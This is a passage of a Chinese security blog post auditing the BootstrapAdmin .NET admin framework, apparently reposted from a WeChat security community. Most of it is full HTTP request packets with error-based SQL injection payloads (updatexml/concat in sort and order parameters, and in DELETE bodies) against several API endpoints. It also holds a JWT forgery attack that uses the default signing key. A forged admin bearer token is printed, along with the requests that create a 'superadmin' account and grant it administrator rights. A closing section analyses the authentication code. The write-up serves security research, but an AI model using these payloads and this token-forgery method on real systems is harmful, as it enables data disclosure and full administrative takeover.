GET /api/Login?&offset=0&limit=20&startTime=2023-05-06&endTime=&loginIp=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1Host: localhost:50852sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/LoginsAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessLoginUser.csBootstrapAdmin .Net 代码审计

【后台】查询用户访问分页数据接口存在SQL注入

权限:后台普通用户权限

漏洞利用

http://localhost:50852/api/Traces http://localhost:50852/api/Traces?offset=0&limit=20&OperateTimeStart=2023-05-06&OperateTimeEnd=&AccessIP=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,BootstrapAdmin .Net 代码审计请求包:

GET /api/Traces?offset=0&limit=20&OperateTimeStart=2023-05-06&OperateTimeEnd=&AccessIP=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1Host: localhost:50852sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/TracesAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessTrace.csBootstrapAdmin .Net 代码审计

【后台】查询程序异常接口存在SQL注入

权限:后台普通用户权限

漏洞利用

http://localhost:50852/api/Exceptions http://localhost:50852/api/Exceptions?&offset=0&limit=20&StartTime=&EndTime=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,BootstrapAdmin .Net 代码审计请求包:

GET /api/Exceptions?&offset=0&limit=20&StartTime=&EndTime=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1Host: localhost:50852sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/ExceptionsAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessExceptions.csBootstrapAdmin .Net 代码审计

【后台】删除用户接口存在SQL注入

权限:后台管理员用户权限

漏洞利用

http://localhost:50852/api/UsersBootstrapAdmin .Net 代码审计请求包:

DELETE /api/Users HTTP/1.1Host: localhost:50852Content-Length: 47sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/UsersAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close
["updatexml(1,concat(0x7e,database(),0x7e),3)"]

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessUser.csBootstrapAdmin .Net 代码审计

【后台】删除角色表接口存在SQL注入

权限:后台管理员用户权限

漏洞利用

http://localhost:50852/api/RolesBootstrapAdmin .Net 代码审计请求包:

DELETE /api/Roles HTTP/1.1Host: localhost:50852Content-Length: 47sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/RolesAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close
["updatexml(1,concat(0x7e,database(),0x7e),3)"]

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessRole.csBootstrapAdmin .Net 代码审计

【后台】删除群组信息存在SQL注入

权限:后台管理员用户权限

漏洞利用

http://localhost:50852/api/GroupsBootstrapAdmin .Net 代码审计请求包:

DELETE /api/Groups HTTP/1.1Host: localhost:50852Content-Length: 47sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/GroupsAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close
["updatexml(1,concat(0x7e,database(),0x7e),3)"]

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessGroup.csBootstrapAdmin .Net 代码审计

【后台】删除字典中的数据存在SQL注入

权限:后台管理员用户权限

漏洞利用

http://localhost:50852/api/DictsBootstrapAdmin .Net 代码审计请求包:

DELETE /api/Dicts HTTP/1.1Host: localhost:50852Content-Length: 47sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/DictsAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1Connection: close
["updatexml(1,concat(0x7e,database(),0x7e),3)"]

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.DataAccessDict.csBootstrapAdmin .Net 代码审计

【前台】任意JWT伪造

漏洞利用

目前版本是不允许我们未授权访问该接口的(在旧版本是可以的),该接口用来查询当前用户情况。 http://localhost:50852/api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683423761467BootstrapAdmin .Net 代码审计默认的 SecurityKey 为 BootstrapAdmin-V1.1 我们可以到https://jwt.io/伪造Cookie,填入SecurityKey并修改Data里面的 exp(过期时间)即可。BootstrapAdmin .Net 代码审计

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ

请求时携带这个请求头再次访问即可获取用户信息,此时我们没有登录任何账户。BootstrapAdmin .Net 代码审计请求包:

GET /api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683423761467 HTTP/1.1Host: localhost:50852sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/UsersAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQConnection: close

使用同样的手法,创建用户BootstrapAdmin .Net 代码审计请求包:

POST /api/Users HTTP/1.1Host: localhost:50852Content-Length: 103sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/UsersAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Connection: close
{"Id":"","UserName":"superadmin","Password":"123456","DisplayName":"superadmin","NewPassword":"123456"}

再次请求就可以看到账户创建成功了。BootstrapAdmin .Net 代码审计然后给这个账户增加管理员权限,同样使用JWT验证。BootstrapAdmin .Net 代码审计请求包:

PUT /api/Users/9?type=role HTTP/1.1Host: localhost:50852Content-Length: 5sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhost:50852Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:50852/Admin/UsersAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQCookie: Connection: close
["1"]

这个时候我们使用账号superadmin/123456登录就是管理员用户了。BootstrapAdmin .Net 代码审计

漏洞定位

BootstrapAdminsrcmvcadminBootstrap.AdminStartup.cs 在这个文件里添加了一个UseBootstrapAdminAuthentication的中间件,我们所有的请求会先进入到该中间件。BootstrapAdmin .Net 代码审计反编译bootstrap.security.mvc6.0.0libnet5.0Bootstrap.Security.Mvc.dll 跟进AuthenticationExtensions类,可以看到UseBootstrapAdminAuthentication方法BootstrapAdmin .Net 代码审计

首先builder.UseAuthentication();启用身份验证中间件。在 ASP.NET Core 应用程序中,身份验证中间件处理身份验证和票据。它负责验证请求中的凭据并设置当前用户的身份。启用身份验证后,可以使用 HttpContext.User 属性访问当前用户的身份信息。通常会在 Configure 方法中调用 UseAuthentication(),以确保在请求管道中使用身份验证中间件。其次builder.Usebuilder.UseWhen都是 ASP.NET Core 应用程序中用于修改请求管道的方法,但是它们的使用场景有所不同。builder.Use 用于向请求管道中添加中间件。它可以将多个中间件串连在一起,按照添加的顺序一个接一个地处理请求,从而实现请求处理流程的定制。例如,在调用控制器方法之前可以添加一个身份验证中间件,以确保只有已经通过身份验证的用户才能访问受保护的资源。builder.Use 返回一个 IApplicationBuilder 实例,因此可以在一个 Configure 方法中多次调用 builder.Use,以添加所需的中间件。builder.UseWhen 则用于根据一定的条件向请求管道中添加中间件。它接受一个布尔表达式作为参数,只有当表达式的结果为 true 时才会添加中间件。这个功能在某些场景下很有用,例如,可以根据请求的路径来决定是否启用某个特定的中间件。builder.UseWhen 返回一个 IApplicationBuilder 实例,也可以嵌套在另一个 builder.UseWhen 中,以实现复杂的条件分支逻辑。

我们先查看特殊情况,也就是builder.UseWhen。这里的条件是请求路径中包含/api时会应用下面的中间件。

app.Use(async delegate (HttpContext context, Func<Task> next){    IIdentity? identity = context.User.Identity;    if (identity != null && !identity!.IsAuthenticated)    {        JwtAuthentication(context);    }
if ((context.User.Identity?.IsAuthenticated ?? false) && !string.IsNullOrEmpty(context.User.Identity!.Name)) { AddRoles(context.User, RetrieveRolesByUserName(context.User.Identity!.Name), new ClaimsIdentity("Bearer")); }
await next();});

identity不存在时,即 Cookie 中的.AspNetCore.Cookies不存在时使用JwtAuthentication,我们继续跟进该方法。 JwtAuthenticationAuthenticationExtensions类。观察ValidateToken,这是JWT的验证方法,校验了三个参数,分别是签名密钥以及令牌的颁发者 Issuer 和 Audience。如果验证成功,则返回ClaimsPrincipal对象表示令牌中包含的声明。BootstrapAdmin .Net 代码审计需要校验的内容都在: BootstrapAdminsrcmvcadminBootstrap.Adminappsettings.jsonBootstrapAdmin .Net 代码审计

  "TokenValidateOption": {    "Issuer": "BA",    "Audience": "api",    "Expires": 5,    "SecurityKey": "BootstrapAdmin-V1.1"  }

我们得到了这些参数就可以进行JWT伪造了。那么我们经过了JwtAuthentication此时context.User已经是claimsPrincipal对象了。第二个判断判断了用户是否已经认证(authenticated)以及用户的身份是否存在(name是否为空)。然后进入到AddRoles方法中去。BootstrapAdmin .Net 代码审计

ClaimsPrincipal 对象是 ASP.NET Core Identity 框架中用于表示用户上下文认证信息的对象。它包含了一个或多个 Claim,每个 Claim 包含了一些有关用户身份、角色或标识的信息。

这里添加了role以便后续的身份校验。其中的roles的值为 RetrieveRolesByUserName(context.User.Identity!.Name) 通过用户名查询对于的角色列表,然后通过遍历添加Claim。那么什么时候会用到role呢?我们接着往下看。 BootstrapAdminsrcmvcadminBootstrap.AdminStartup.cs 在这个文件里给 Controllers 添加了BootstrapAdmin 后台权限认证过滤器BootstrapAdmin .Net 代码审计反编译bootstrap.security.mvc6.0.0libnet5.0Bootstrap.Security.Mvc.dll 跟进 BootstrapAdminAuthorizeFilter类可以看到OnAuthorizationAsync,这方个法适用于控制器和 Razor 页面等需要进行授权检查的请求。BootstrapAdmin .Net 代码审计

context.Request.Path 是一个属性,它返回一个 PathString 对象,代表请求 URL 的路径部分。PathString 对象是一个不可变类型,用于存储 URL 路径。PathString 的值形式如下所示: /Controller/Action/ID 其中,/Controller 是控制器的名称,/Action 是控制器的方法名,/ID 是可选的参数,用于标识要处理的特定资源。在 ASP.NET Core 应用程序中,PathString 对象用于匹配路由模板,以确定要执行哪个控制器方法。可以使用 context.Request.Path.ToString() 方法获取 PathString 对象的字符串表示形式,以便在日志或调试信息中使用。

这里做了两个判断:

  1. 查询判断了当前请求是否需要进行授权检查。如果当前请求标记为允许匿名访问,或者是一个 Razor 页面并且该页面已配置为匿名,或者当前用户拥有 Administrators 角色,则该请求无需进行授权检查,并允许请求通过。
  2. 通过调用 AuthenticationExtensions.RetrieveRolesByUrl 方法获取当前 URL 具有的角色集合,判断当前用户的角色是否是集合中的一个。

通过后即可访问控制器方法。

0x05 后语

在本篇文章中可以看到,我们注重了文件IO操作、SQL ORM操作、权限校验、XSS漏洞。

测试SQL注入时,ORM使用了PetaPoco并且运用了Linq对用户输入的内容进行转义,尽管使用@0方式很安全,但在Order By处不能转义。这是老生常谈了。开发人员没有针对性的过滤导致漏洞的产生。

测试XSS时,开发者使用了Razor Pages,在 Razor 视图中,默认情况下会进行 HTML 实体编码。可尽管严防死守,还是避免不了使用@Url.Content,没有针对javascript:这样的请求路径进行过滤。除此之外,还有在页面中使用html(text)函数输出的情况,只不过我测试时发现大部分无法有效利用,并且使用了$.safeHtml()函数所以仅列出了一个前台反射型XSS。

测试权限校验时显示观察了带有[AllowAnonymous]标签的类和方法,后面才是根据Startup.cs查看了过滤器和中间件,并根据开发者提供的Bootstrap.Security.Mvc进行了审计。

总而言之,无论是使用什么语言开发都要按照标准进行,我们代码审计时更加需要细心和多一些耐心。


原文始发于微信公众号(响尾蛇社区):BootstrapAdmin .Net 代码审计

版权声明:admin 发表于 2023年5月18日 下午2:49。
转载请注明:BootstrapAdmin .Net 代码审计 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...